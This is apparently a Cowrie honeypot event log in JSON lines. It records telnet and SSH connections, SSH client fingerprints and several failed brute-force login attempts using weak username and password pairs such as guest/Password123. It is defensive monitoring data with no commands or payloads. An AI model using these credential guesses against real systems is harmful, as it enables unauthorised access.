{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47200,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b5ae1b468d","protocol":"telnet","message":"New connection: 159.203.13.64:47200 (10.17.0.5:23) [session: 21b5ae1b468d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:13.312297Z"}
{"eventid":"cowrie.session.closed","duration":54.11808919906616,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:13.569618Z","src_ip":"159.203.13.64","session":"aae228ddab30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47206,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28ce5fa69e3","protocol":"telnet","message":"New connection: 159.203.13.64:47206 (10.17.0.5:23) [session: a28ce5fa69e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:15.090680Z"}
{"eventid":"cowrie.session.closed","duration":34.61160492897034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:15.456123Z","src_ip":"159.203.13.64","session":"fb5d77bc8a99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65828037261963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:17.579237Z","src_ip":"159.203.13.64","session":"044a204426fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.62557554244995,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:18.609469Z","src_ip":"159.203.13.64","session":"9f03d2e570bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.0005419254303,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:21.474261Z","src_ip":"159.203.13.64","session":"ac4e0e557998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.14917826652527,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:22.677886Z","src_ip":"159.203.13.64","session":"495616caf462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3019ddc442","protocol":"telnet","message":"New connection: 159.203.13.64:54850 (10.17.0.5:23) [session: fd3019ddc442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:22.802324Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54852,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f25ea2afbf","protocol":"telnet","message":"New connection: 159.203.13.64:54852 (10.17.0.5:23) [session: 60f25ea2afbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:23.491716Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a494005767","protocol":"telnet","message":"New connection: 159.203.13.64:54856 (10.17.0.5:23) [session: 27a494005767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:26.880872Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54868,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f121d629e1d","protocol":"telnet","message":"New connection: 159.203.13.64:54868 (10.17.0.5:23) [session: 0f121d629e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:27.980506Z"}
{"eventid":"cowrie.session.closed","duration":4.804903268814087,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:28.296492Z","src_ip":"159.203.13.64","session":"60f25ea2afbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54884,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf04f5967ce0","protocol":"telnet","message":"New connection: 159.203.13.64:54884 (10.17.0.5:23) [session: cf04f5967ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:28.659433Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37366,"dst_ip":"159.203.135.109","dst_port":22,"session":"4efe88eb1719","protocol":"ssh","message":"New connection: 159.203.92.129:37366 (159.203.135.109:22) [session: 4efe88eb1719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:29.278812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:29.290671Z","src_ip":"159.203.92.129","session":"4efe88eb1719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:29.295675Z","src_ip":"159.203.92.129","session":"4efe88eb1719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluxio","password":"123","message":"login attempt [alluxio/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:29.308907Z","src_ip":"159.203.92.129","session":"4efe88eb1719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.39631247520447,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:30.059903Z","src_ip":"159.203.13.64","session":"f42eae2f6955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:30.319532Z","src_ip":"159.203.92.129","session":"4efe88eb1719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.877745151519775,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:33.050523Z","src_ip":"159.203.13.64","session":"1c63905b6488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.93995904922485,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:33.497009Z","src_ip":"159.203.13.64","session":"d82dee24325e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.37528705596924,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:33.625983Z","src_ip":"159.203.13.64","session":"95ad4e851c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":60138,"dst_ip":"159.203.135.109","dst_port":22,"session":"a63b92635796","protocol":"ssh","message":"New connection: 186.13.24.118:60138 (159.203.135.109:22) [session: a63b92635796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:34.120173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:34.125137Z","src_ip":"186.13.24.118","session":"a63b92635796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:34.296844Z","src_ip":"186.13.24.118","session":"a63b92635796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.09335422515869,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:34.812915Z","src_ip":"159.203.13.64","session":"6bc94914a952","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"Password123","message":"login attempt [guest/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:35.010867Z","src_ip":"186.13.24.118","session":"a63b92635796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.87528133392334,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:35.257032Z","src_ip":"159.203.13.64","session":"97281c7f78c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.06005311012268,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:35.322515Z","src_ip":"159.203.13.64","session":"396478b44333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:36.184691Z","src_ip":"186.13.24.118","session":"a63b92635796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51544,"dst_ip":"10.17.0.5","dst_port":23,"session":"1115478edada","protocol":"telnet","message":"New connection: 159.203.13.64:51544 (10.17.0.5:23) [session: 1115478edada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:38.039267Z"}
{"eventid":"cowrie.session.closed","duration":43.73289108276367,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:39.852646Z","src_ip":"159.203.13.64","session":"69c6dfb5462c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57102,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f73c70c188f","protocol":"telnet","message":"New connection: 159.203.13.64:57102 (10.17.0.5:23) [session: 7f73c70c188f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:41.944572Z"}
{"eventid":"cowrie.session.closed","duration":4.134742259979248,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:42.173765Z","src_ip":"159.203.13.64","session":"1115478edada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.92096161842346,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:43.241362Z","src_ip":"159.203.13.64","session":"a1e5e4adf350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57108,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcd92b3875bc","protocol":"telnet","message":"New connection: 159.203.13.64:57108 (10.17.0.5:23) [session: bcd92b3875bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:45.060214Z"}
{"eventid":"cowrie.session.closed","duration":38.21380543708801,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:51.525925Z","src_ip":"159.203.13.64","session":"21b5ae1b468d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38546,"dst_ip":"10.17.0.5","dst_port":23,"session":"c36f4d010568","protocol":"telnet","message":"New connection: 159.203.13.64:38546 (10.17.0.5:23) [session: c36f4d010568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:53.920027Z"}
{"eventid":"cowrie.session.closed","duration":40.68512797355652,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:55.775687Z","src_ip":"159.203.13.64","session":"a28ce5fa69e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38562,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe0899930540","protocol":"telnet","message":"New connection: 159.203.13.64:38562 (10.17.0.5:23) [session: fe0899930540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:57.908997Z"}
{"eventid":"cowrie.session.closed","duration":32.20921230316162,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:00.868532Z","src_ip":"159.203.13.64","session":"cf04f5967ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba51b4d48cc7","protocol":"telnet","message":"New connection: 159.203.13.64:47688 (10.17.0.5:23) [session: ba51b4d48cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:06.134414Z"}
{"eventid":"cowrie.session.closed","duration":43.53202438354492,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:06.334165Z","src_ip":"159.203.13.64","session":"fd3019ddc442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47702,"dst_ip":"10.17.0.5","dst_port":23,"session":"0313ede6dbaa","protocol":"telnet","message":"New connection: 159.203.13.64:47702 (10.17.0.5:23) [session: 0313ede6dbaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:08.948684Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47708,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dcc1d8254a2","protocol":"telnet","message":"New connection: 159.203.13.64:47708 (10.17.0.5:23) [session: 6dcc1d8254a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:09.067919Z"}
{"eventid":"cowrie.session.closed","duration":42.8108491897583,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:09.691622Z","src_ip":"159.203.13.64","session":"27a494005767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.74677753448486,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:10.727174Z","src_ip":"159.203.13.64","session":"0f121d629e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40536,"dst_ip":"159.203.135.109","dst_port":22,"session":"786a6600652f","protocol":"ssh","message":"New connection: 159.203.92.129:40536 (159.203.135.109:22) [session: 786a6600652f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:12.159005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:12.164347Z","src_ip":"159.203.92.129","session":"786a6600652f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:12.169284Z","src_ip":"159.203.92.129","session":"786a6600652f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluxio","password":"123456","message":"login attempt [alluxio/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:12.187583Z","src_ip":"159.203.92.129","session":"786a6600652f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:13.194225Z","src_ip":"159.203.92.129","session":"786a6600652f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":34336,"dst_ip":"159.203.135.109","dst_port":22,"session":"caab0716c738","protocol":"ssh","message":"New connection: 103.215.80.173:34336 (159.203.135.109:22) [session: caab0716c738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:16.362257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:16.367866Z","src_ip":"103.215.80.173","session":"caab0716c738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:17.185340Z","src_ip":"103.215.80.173","session":"caab0716c738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43278,"dst_ip":"10.17.0.5","dst_port":23,"session":"62be8b2cc944","protocol":"telnet","message":"New connection: 159.203.13.64:43278 (10.17.0.5:23) [session: 62be8b2cc944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:18.476680Z"}
{"eventid":"cowrie.session.closed","duration":36.97719383239746,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:18.921657Z","src_ip":"159.203.13.64","session":"7f73c70c188f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"github","password":"password","message":"login attempt [github/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:19.038118Z","src_ip":"103.215.80.173","session":"caab0716c738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43280,"dst_ip":"10.17.0.5","dst_port":23,"session":"186e18cf5d8c","protocol":"telnet","message":"New connection: 159.203.13.64:43280 (10.17.0.5:23) [session: 186e18cf5d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:20.175492Z"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:20.246364Z","src_ip":"103.215.80.173","session":"caab0716c738","protocol":"ssh"}
